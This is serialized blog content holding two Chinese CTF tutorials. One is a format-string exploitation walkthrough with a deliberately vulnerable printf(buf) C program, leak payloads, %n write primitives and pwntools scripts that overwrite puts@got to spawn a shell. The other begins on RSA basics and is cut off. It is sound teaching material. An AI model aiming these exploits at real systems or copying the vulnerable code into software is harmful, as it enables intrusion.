",[52,9563,9564],{},"%p"," 时，",[52,9567,9568],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9571,9572,9573,9581],"ul",{},[634,9574,9575,2153,9577,9580],{},[52,9576,9564],{},[52,9578,9579],{},"%s","：任意读（泄露内存）。",[634,9582,9583,9586],{},[52,9584,9585],{},"%n","：任意写（写入内存）。",[10,9588,9590],{"id":9589},"二漏洞程序与编译","二、漏洞程序与编译",[15,9592,9593,493],{},[52,9594,9595],{},"fmt.c",[97,9597,9599],{"className":1847,"code":9598,"language":1849,"meta":102,"style":102},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[52,9600,9601,9605,9609,9613,9618,9622,9627,9632,9637,9641],{"__ignoreMap":102},[106,9602,9603],{"class":108,"line":109},[106,9604,2465],{},[106,9606,9607],{"class":108,"line":115},[106,9608,125],{"emptyLinePlaceholder":124},[106,9610,9611],{"class":108,"line":121},[106,9612,2521],{},[106,9614,9615],{"class":108,"line":128},[106,9616,9617],{},"    char buf[100];\n",[106,9619,9620],{"class":108,"line":134},[106,9621,2526],{},[106,9623,9624],{"class":108,"line":140},[106,9625,9626],{},"    printf(\"> \");\n",[106,9628,9629],{"class":108,"line":146},[106,9630,9631],{},"    fgets(buf, sizeof(buf), stdin);\n",[106,9633,9634],{"class":108,"line":151},[106,9635,9636],{},"    printf(buf);          // 漏洞\n",[106,9638,9639],{"class":108,"line":157},[106,9640,2546],{},[106,9642,9643],{"class":108,"line":163},[106,9644,2489],{},[97,9646,9648],{"className":259,"code":9647,"language":261,"meta":102,"style":102},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[52,9649,9650],{"__ignoreMap":102},[106,9651,9652,9654,9656,9659,9662,9664],{"class":108,"line":109},[106,9653,2563],{"class":268},[106,9655,2566],{"class":515},[106,9657,9658],{"class":272}," fmt",[106,9660,9661],{"class":272}," fmt.c",[106,9663,2575],{"class":515},[106,9665,2578],{"class":515},[10,9667,9669],{"id":9668},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9671,9672,9674],{},[316,9673,318],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9676,6238],{},[97,9678,9680],{"className":259,"code":9679,"language":261,"meta":102,"style":102},"./fmt\n",[52,9681,9682],{"__ignoreMap":102},[106,9683,9684],{"class":108,"line":109},[106,9685,9679],{"class":268},[15,9687,1203],{},[97,9689,9692],{"className":9690,"code":9691,"language":215,"meta":102},[213],"%p.%p.%p.%p.%p.%p\n",[52,9693,9691],{"__ignoreMap":102},[15,9695,9696],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[97,9698,9701],{"className":9699,"code":9700,"language":215,"meta":102},[213],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[52,9702,9700],{"__ignoreMap":102},[15,9704,9705,9706,9709,9710,9713],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[52,9707,9708],{},"0x70252e70","，正是 ",[52,9711,9712],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9715,9716,493,9719,9721],{},[316,9717,9718],{},"为什么能泄露",[52,9720,9568],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9723,9725],{"id":9724},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9727,9728,9730],{},[316,9729,318],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9732,9733,9735,9736,9738,9739,9742,9743,9746],{},[316,9734,385],{},"：在输入开头放 4 个 ",[52,9737,2930],{},"，用 ",[52,9740,9741],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[52,9744,9745],{},"0x41414141","，哪个位置就是输入起点。",[15,9748,9749],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9751,6238],{},[97,9753,9754],{"className":259,"code":9679,"language":261,"meta":102,"style":102},[52,9755,9756],{"__ignoreMap":102},[106,9757,9758],{"class":108,"line":109},[106,9759,9679],{"class":268},[15,9761,1203],{},[97,9763,9766],{"className":9764,"code":9765,"language":215,"meta":102},[213],"AAAA.%6$p\n",[52,9767,9765],{"__ignoreMap":102},[15,9769,9770],{},"预期输出（Linux x86-64 典型情况）：",[97,9772,9775],{"className":9773,"code":9774,"language":215,"meta":102},[213],"> AAAA.0x41414141\n",[52,9776,9774],{"__ignoreMap":102},[15,9778,9779,9780,9782,9783,9786],{},"出现 ",[52,9781,9745],{},"（",[52,9784,9785],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[97,9788,9790],{"className":99,"code":9789,"language":101,"meta":102,"style":102},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[52,9791,9792,9796,9800,9805,9810,9815,9820,9825,9830,9835,9840,9845,9850],{"__ignoreMap":102},[106,9793,9794],{"class":108,"line":109},[106,9795,2723],{},[106,9797,9798],{"class":108,"line":115},[106,9799,125],{"emptyLinePlaceholder":124},[106,9801,9802],{"class":108,"line":121},[106,9803,9804],{},"for i in range(1, 15):\n",[106,9806,9807],{"class":108,"line":128},[106,9808,9809],{},"    p = process('./fmt')\n",[106,9811,9812],{"class":108,"line":134},[106,9813,9814],{},"    p.recvuntil(b'> ')\n",[106,9816,9817],{"class":108,"line":140},[106,9818,9819],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[106,9821,9822],{"class":108,"line":146},[106,9823,9824],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[106,9826,9827],{"class":108,"line":151},[106,9828,9829],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[106,9831,9832],{"class":108,"line":157},[106,9833,9834],{},"    out = p.recvall()\n",[106,9836,9837],{"class":108,"line":163},[106,9838,9839],{},"    if b'0x41414141' in out:\n",[106,9841,9842],{"class":108,"line":169},[106,9843,9844],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[106,9846,9847],{"class":108,"line":174},[106,9848,9849],{},"        print(f'offset = {i}')\n",[106,9851,9852],{"class":108,"line":180},[106,9853,463],{},[15,9855,1219,9856,643],{},[52,9857,9858],{},"offset = 6",[15,9860,9861,9862,4636,9865,9867,9868,9870,9871,9874,9875,9878,9879,9874,9882,1743,9885,9888],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[52,9863,9864],{},"rdi, rsi, rdx, rcx, r8, r9",[52,9866,9568],{}," 自己占 ",[52,9869,8975],{},"，所以 ",[52,9872,9873],{},"%1$p"," 到 ",[52,9876,9877],{},"%5$p"," 对应 ",[52,9880,9881],{},"rsi",[52,9883,9884],{},"r9",[52,9886,9887],{},"%6$p"," 开始读栈。",[10,9890,9892],{"id":9891},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,9894,9895,9897],{},[316,9896,318],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,9899,9900,9902,9903,9906,9907,9910],{},[316,9901,385],{},"：不同数据在栈上有固定特征——canary 以 ",[52,9904,9905],{},"00"," 结尾，libc 地址以 ",[52,9908,9909],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,9912,1828,9913,9874,9915,9918],{},[52,9914,9887],{},[52,9916,9917],{},"%40$p"," 全部打出来，识别特征值：",[19,9920,9921,9931],{},[22,9922,9923],{},[25,9924,9925,9928],{},[28,9926,9927],{},"值特征",[28,9929,9930],{},"内容",[38,9932,9933,9944,9955,9965],{},[25,9934,9935,9941],{},[43,9936,9937,9938,9940],{},"以 ",[52,9939,9905],{}," 结尾的随机值",[43,9942,9943],{},"canary",[25,9945,9946,9952],{},[43,9947,9948,9951],{},[52,9949,9950],{},"0x7fff"," 开头",[43,9953,9954],{},"栈地址",[25,9956,9957,9962],{},[43,9958,9959,9951],{},[52,9960,9961],{},"0x55/0x56",[43,9963,9964],{},"程序代码地址（PIE 基址相关）",[25,9966,9967,9971],{},[43,9968,9969,9951],{},[52,9970,9909],{},[43,9972,9973],{},"libc 地址",[97,9975,9977],{"className":99,"code":9976,"language":101,"meta":102,"style":102},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[52,9978,9979,9984,9989,9993,9998,10003,10007,10012,10017,10022],{"__ignoreMap":102},[106,9980,9981],{"class":108,"line":109},[106,9982,9983],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[106,9985,9986],{"class":108,"line":115},[106,9987,9988],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[106,9990,9991],{"class":108,"line":121},[106,9992,2916],{},[106,9994,9995],{"class":108,"line":128},[106,9996,9997],{},"out = p.recvall().decode().split('.')\n",[106,9999,10000],{"class":108,"line":134},[106,10001,10002],{},"# 按点号切分，得到每个位置的值。\n",[106,10004,10005],{"class":108,"line":140},[106,10006,125],{"emptyLinePlaceholder":124},[106,10008,10009],{"class":108,"line":146},[106,10010,10011],{},"for i, v in enumerate(out):\n",[106,10013,10014],{"class":108,"line":151},[106,10015,10016],{},"    if v.endswith('00') and len(v) == 18:\n",[106,10018,10019],{"class":108,"line":157},[106,10020,10021],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[106,10023,10024],{"class":108,"line":163},[106,10025,10026],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10028,10029],{},"泄露 libc 地址后：",[97,10031,10033],{"className":99,"code":10032,"language":101,"meta":102,"style":102},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[52,10034,10035],{"__ignoreMap":102},[106,10036,10037],{"class":108,"line":109},[106,10038,10032],{},[15,10040,10041],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10043,10045],{"id":10044},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10047,10048,10050],{},[316,10049,318],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10052,10053,493,10055,10057,10058,10061,10062,10065],{},[316,10054,385],{},[52,10056,9585],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[52,10059,10060],{},"%100c"," 精确控制打印量，再用 ",[52,10063,10064],{},"%N$n"," 写到目标地址。",[15,10067,10068,10070],{},[52,10069,9585],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[97,10072,10075],{"className":10073,"code":10074,"language":215,"meta":102},[213],"%100c%7$n\n",[52,10076,10074],{"__ignoreMap":102},[15,10078,8903],{},[631,10080,10081,10086],{},[634,10082,10083,10085],{},[52,10084,10060],{}," 打印 100 个填充字符，已打印数变成 100。",[634,10087,10088,10091],{},[52,10089,10090],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10093,10094],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[19,10096,10097,10107],{},[22,10098,10099],{},[25,10100,10101,10104],{},[28,10102,10103],{},"说明符",[28,10105,10106],{},"写入字节数",[38,10108,10109,10118,10128],{},[25,10110,10111,10115],{},[43,10112,10113],{},[52,10114,9585],{},[43,10116,10117],{},"4 字节",[25,10119,10120,10125],{},[43,10121,10122],{},[52,10123,10124],{},"%hn",[43,10126,10127],{},"2 字节",[25,10129,10130,10135],{},[43,10131,10132],{},[52,10133,10134],{},"%hhn",[43,10136,10137],{},"1 字节",[10,10139,10141],{"id":10140},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10143,10144,10146,10147,10149,10150,10152],{},[316,10145,318],{},"：把程序即将调用的 ",[52,10148,9323],{}," 改成我们的 ",[52,10151,2689],{},"，实现控制流劫持。",[15,10154,10155,493,10157,10160],{},[316,10156,385],{},[52,10158,10159],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10162,10163,10164,493],{},"目标程序 ",[52,10165,10166],{},"fmt2.c",[97,10168,10170],{"className":1847,"code":10169,"language":1849,"meta":102,"style":102},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[52,10171,10172,10176,10180,10184,10188,10192,10196,10200,10204,10208,10212,10216,10220,10224,10229,10233],{"__ignoreMap":102},[106,10173,10174],{"class":108,"line":109},[106,10175,2465],{},[106,10177,10178],{"class":108,"line":115},[106,10179,2470],{},[106,10181,10182],{"class":108,"line":121},[106,10183,125],{"emptyLinePlaceholder":124},[106,10185,10186],{"class":108,"line":128},[106,10187,2479],{},[106,10189,10190],{"class":108,"line":134},[106,10191,2484],{},[106,10193,10194],{"class":108,"line":140},[106,10195,2489],{},[106,10197,10198],{"class":108,"line":146},[106,10199,125],{"emptyLinePlaceholder":124},[106,10201,10202],{"class":108,"line":151},[106,10203,2521],{},[106,10205,10206],{"class":108,"line":157},[106,10207,9617],{},[106,10209,10210],{"class":108,"line":163},[106,10211,2526],{},[106,10213,10214],{"class":108,"line":169},[106,10215,9626],{},[106,10217,10218],{"class":108,"line":174},[106,10219,9631],{},[106,10221,10222],{"class":108,"line":180},[106,10223,9636],{},[106,10225,10226],{"class":108,"line":186},[106,10227,10228],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[106,10230,10231],{"class":108,"line":192},[106,10232,2546],{},[106,10234,10235],{"class":108,"line":197},[106,10236,2489],{},[97,10238,10240],{"className":259,"code":10239,"language":261,"meta":102,"style":102},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[52,10241,10242,10258],{"__ignoreMap":102},[106,10243,10244,10246,10248,10251,10254,10256],{"class":108,"line":109},[106,10245,2563],{"class":268},[106,10247,2566],{"class":515},[106,10249,10250],{"class":272}," fmt2",[106,10252,10253],{"class":272}," fmt2.c",[106,10255,2575],{"class":515},[106,10257,2578],{"class":515},[106,10259,10260,10262,10264,10267],{"class":108,"line":115},[106,10261,2615],{"class":268},[106,10263,2618],{"class":272},[106,10265,10266],{"class":272}," ./fmt2",[106,10268,10269],{"class":2583},"     # 需为 Partial RELRO，GOT 可写\n",[15,10271,10272],{},"利用脚本：",[97,10274,10276],{"className":99,"code":10275,"language":101,"meta":102,"style":102},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[52,10277,10278,10282,10286,10291,10296,10301,10305,10310,10315,10320,10325,10330,10335,10340,10344,10348],{"__ignoreMap":102},[106,10279,10280],{"class":108,"line":109},[106,10281,2723],{},[106,10283,10284],{"class":108,"line":115},[106,10285,125],{"emptyLinePlaceholder":124},[106,10287,10288],{"class":108,"line":121},[106,10289,10290],{},"context.binary = elf = ELF('./fmt2')\n",[106,10292,10293],{"class":108,"line":128},[106,10294,10295],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[106,10297,10298],{"class":108,"line":134},[106,10299,10300],{},"p = process('./fmt2')\n",[106,10302,10303],{"class":108,"line":140},[106,10304,125],{"emptyLinePlaceholder":124},[106,10306,10307],{"class":108,"line":146},[106,10308,10309],{},"offset = 6\n",[106,10311,10312],{"class":108,"line":151},[106,10313,10314],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[106,10316,10317],{"class":108,"line":157},[106,10318,10319],{},"# fmtstr_payload(offset, writes)：\n",[106,10321,10322],{"class":108,"line":163},[106,10323,10324],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[106,10326,10327],{"class":108,"line":169},[106,10328,10329],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[106,10331,10332],{"class":108,"line":174},[106,10333,10334],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[106,10336,10337],{"class":108,"line":180},[106,10338,10339],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[106,10341,10342],{"class":108,"line":186},[106,10343,125],{"emptyLinePlaceholder":124},[106,10345,10346],{"class":108,"line":192},[106,10347,2916],{},[106,10349,10350],{"class":108,"line":197},[106,10351,3004],{},[15,10353,10354,10357],{},[52,10355,10356],{},"fmtstr_payload"," 自动完成：",[631,10359,10360,10365,10372,10381],{},[634,10361,1828,10362,10364],{},[52,10363,2689],{}," 地址拆成低 2 字节和高 2 字节。",[634,10366,10367,10368,10371],{},"生成 ",[52,10369,10370],{},"%c"," 控制打印量。",[634,10373,10374,10375,1311,10377,10380],{},"把两个目标地址（",[52,10376,10159],{},[52,10378,10379],{},"puts@got+2","）放到对应参数位置。",[634,10382,10383,10384,10386],{},"用 ",[52,10385,10124],{}," 分别写入。",[15,10388,10389,10390,10393,10394,10396],{},"预期结果：程序执行 ",[52,10391,10392],{},"puts(\"Done\")"," 时实际调用 ",[52,10395,3029],{},"，进入 shell。",[10,10398,3038],{"id":3037},[19,10400,10401,10411],{},[22,10402,10403],{},[25,10404,10405,10407,10409],{},[28,10406,2075],{},[28,10408,3049],{},[28,10410,3052],{},[38,10412,10413,10431,10443],{},[25,10414,10415,10417,10429],{},[43,10416,3059],{},[43,10418,10419,1311,10421,1311,10424,2153,10426],{},[52,10420,10356],{},[52,10422,10423],{},"FmtStr",[52,10425,3077],{},[52,10427,10428],{},"recvuntil",[43,10430,3081],{},[25,10432,10433,10435,10438],{},[43,10434,3086],{},[43,10436,10437],{},"看 RELRO、Canary、PIE",[43,10439,10440],{},[52,10441,10442],{},"pwn checksec ./fmt2",[25,10444,10445,10447,10450],{},[43,10446,9413],{},[43,10448,10449],{},"断点、看栈、验证参数位置",[43,10451,10452,1311,10455],{},[52,10453,10454],{},"break main",[52,10456,3110],{},[10,10458,10460],{"id":10459},"九小-ctf-实战","九、小 CTF 实战",[15,10462,10463,10464,10467],{},"题目：远程运行 ",[52,10465,10466],{},"fmt2","（Partial RELRO、No PIE）。",[15,10469,10470,10472,10473,10476],{},[316,10471,385],{},"：与本地脚本唯一区别是 ",[52,10474,10475],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[97,10478,10480],{"className":99,"code":10479,"language":101,"meta":102,"style":102},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[52,10481,10482,10486,10490,10494,10499,10503,10508,10512,10516],{"__ignoreMap":102},[106,10483,10484],{"class":108,"line":109},[106,10485,2723],{},[106,10487,10488],{"class":108,"line":115},[106,10489,125],{"emptyLinePlaceholder":124},[106,10491,10492],{"class":108,"line":121},[106,10493,10290],{},[106,10495,10496],{"class":108,"line":128},[106,10497,10498],{},"p = remote('1.2.3.4', 10002)\n",[106,10500,10501],{"class":108,"line":134},[106,10502,125],{"emptyLinePlaceholder":124},[106,10504,10505],{"class":108,"line":140},[106,10506,10507],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[106,10509,10510],{"class":108,"line":146},[106,10511,2916],{},[106,10513,10514],{"class":108,"line":151},[106,10515,3210],{},[106,10517,10518],{"class":108,"line":157},[106,10519,3004],{},[15,10521,1219],{},[97,10523,10526],{"className":10524,"code":10525,"language":215,"meta":102},[213],"flag{format_string}\n",[52,10527,10525],{"__ignoreMap":102},[10,10529,3231],{"id":3230},[15,10531,10532,10533,2153,10535,10537,10538,10540],{},"格式化字符串提供两种原语：",[52,10534,9564],{},[52,10536,9579],{}," 任意读，",[52,10539,9585],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1050,10542,10543],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":102,"searchDepth":115,"depth":115,"links":10545},[10546,10547,10548,10549,10550,10551,10552,10553,10554,10555],{"id":9535,"depth":121,"text":9536},{"id":9589,"depth":121,"text":9590},{"id":9668,"depth":121,"text":9669},{"id":9724,"depth":121,"text":9725},{"id":9891,"depth":121,"text":9892},{"id":10044,"depth":121,"text":10045},{"id":10140,"depth":121,"text":10141},{"id":3037,"depth":121,"text":3038},{"id":10459,"depth":121,"text":10460},{"id":3230,"depth":121,"text":3231},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1066,"image":1067,"alt":10558,"tags":10559,"published":124},"格式化字符串深入实战",[1070,2615,10560,1072],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9530,"description":10556},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10566,"title":10567,"body":10568,"description":11535,"extension":1064,"meta":11536,"navigation":124,"ogImage":8423,"path":11540,"seo":11541,"stem":11542,"__hash__":11543},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10569,"toc":11523},[10570,10574,10577,10580,10603,10616,10618,10634,10638,10644,10647,10662,10666,10671,10676,10765,10767,10773,10780,10784,10789,10794,10798,10817,10819,10825,10831,10835,10840,10925,10927,10933,10942,10946,10954,10983,10987,10991,11001,11007,11011,11016,11021,11028,11034,11037,11043,11047,11210,11212,11218,11222,11289,11291,11352,11361,11363,11365,11371,11374,11378,11383,11397,11399,11405,11409,11418,11468,11470,11476,11480,11512,11514,11521],[10,10571,10573],{"id":10572},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10575,10576],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10578,10579],{},"DH 最小实现（见密码学全景篇）：",[97,10581,10583],{"className":99,"code":10582,"language":101,"meta":102,"style":102},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[52,10584,10585,10589,10593,10598],{"__ignoreMap":102},[106,10586,10587],{"class":108,"line":109},[106,10588,689],{},[106,10590,10591],{"class":108,"line":115},[106,10592,704],{},[106,10594,10595],{"class":108,"line":121},[106,10596,10597],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[106,10599,10600],{"class":108,"line":128},[106,10601,10602],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10604,10605,10606,10609,10610,1311,10612,10615],{},"RSA 的安全基础是：已知 ",[52,10607,10608],{},"n"," 求 ",[52,10611,15],{},[52,10613,10614],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10617,256],{"id":255},[97,10619,10620],{"className":259,"code":260,"language":261,"meta":102,"style":102},[52,10621,10622],{"__ignoreMap":102},[106,10623,10624,10626,10628,10630,10632],{"class":108,"line":109},[106,10625,269],{"class":268},[106,10627,273],{"class":272},[106,10629,276],{"class":272},[106,10631,279],{"class":272},[106,10633,282],{"class":272},[10,10635,10637],{"id":10636},"三核心知识rsa-公式","三、核心知识：RSA 公式",[97,10639,10642],{"className":10640,"code":10641,"language":215,"meta":102},[213],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[52,10643,10641],{"__ignoreMap":102},[15,10645,10646],{},"三个必须会用的 Python 运算：",[97,10648,10650],{"className":99,"code":10649,"language":101,"meta":102,"style":102},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[52,10651,10652,10657],{"__ignoreMap":102},[106,10653,10654],{"class":108,"line":109},[106,10655,10656],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[106,10658,10659],{"class":108,"line":115},[106,10660,10661],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10663,10665],{"id":10664},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10667,10668,10670],{},[316,10669,318],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10672,10673,10675],{},[316,10674,385],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[97,10677,10679],{"className":99,"code":10678,"language":101,"meta":102,"style":102},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[52,10680,10681,10686,10691,10696,10701,10706,10711,10716,10720,10725,10730,10735,10740,10745,10750,10755,10760],{"__ignoreMap":102},[106,10682,10683],{"class":108,"line":109},[106,10684,10685],{},"p, q, e = 61, 53, 17\n",[106,10687,10688],{"class":108,"line":115},[106,10689,10690],{},"n = p * q\n",[106,10692,10693],{"class":108,"line":121},[106,10694,10695],{},"# n = 3233，公钥模数。\n",[106,10697,10698],{"class":108,"line":128},[106,10699,10700],{},"phi = (p - 1) * (q - 1)\n",[106,10702,10703],{"class":108,"line":134},[106,10704,10705],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[106,10707,10708],{"class":108,"line":140},[106,10709,10710],{},"d = pow(e, -1, phi)\n",[106,10712,10713],{"class":108,"line":146},[106,10714,10715],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[106,10717,10718],{"class":108,"line":151},[106,10719,125],{"emptyLinePlaceholder":124},[106,10721,10722],{"class":108,"line":157},[106,10723,10724],{},"m = 65\n",[106,10726,10727],{"class":108,"line":163},[106,10728,10729],{},"c = pow(m, e, n)\n",[106,10731,10732],{"class":108,"line":169},[106,10733,10734],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[106,10736,10737],{"class":108,"line":174},[106,10738,10739],{},"print(\"n =\", n)\n",[106,10741,10742],{"class":108,"line":180},[106,10743,10744],{},"print(\"phi =\", phi)\n",[106,10746,10747],{"class":108,"line":186},[106,10748,10749],{},"print(\"d =\", d)\n",[106,10751,10752],{"class":108,"line":192},[106,10753,10754],{},"print(\"c =\", c)\n",[106,10756,10757],{"class":108,"line":197},[106,10758,10759],{},"print(\"解密 =\", pow(c, d, n))\n",[106,10761,10762],{"class":108,"line":203},[106,10763,10764],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10766,209],{},[97,10768,10771],{"className":10769,"code":10770,"language":215,"meta":102},[213],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 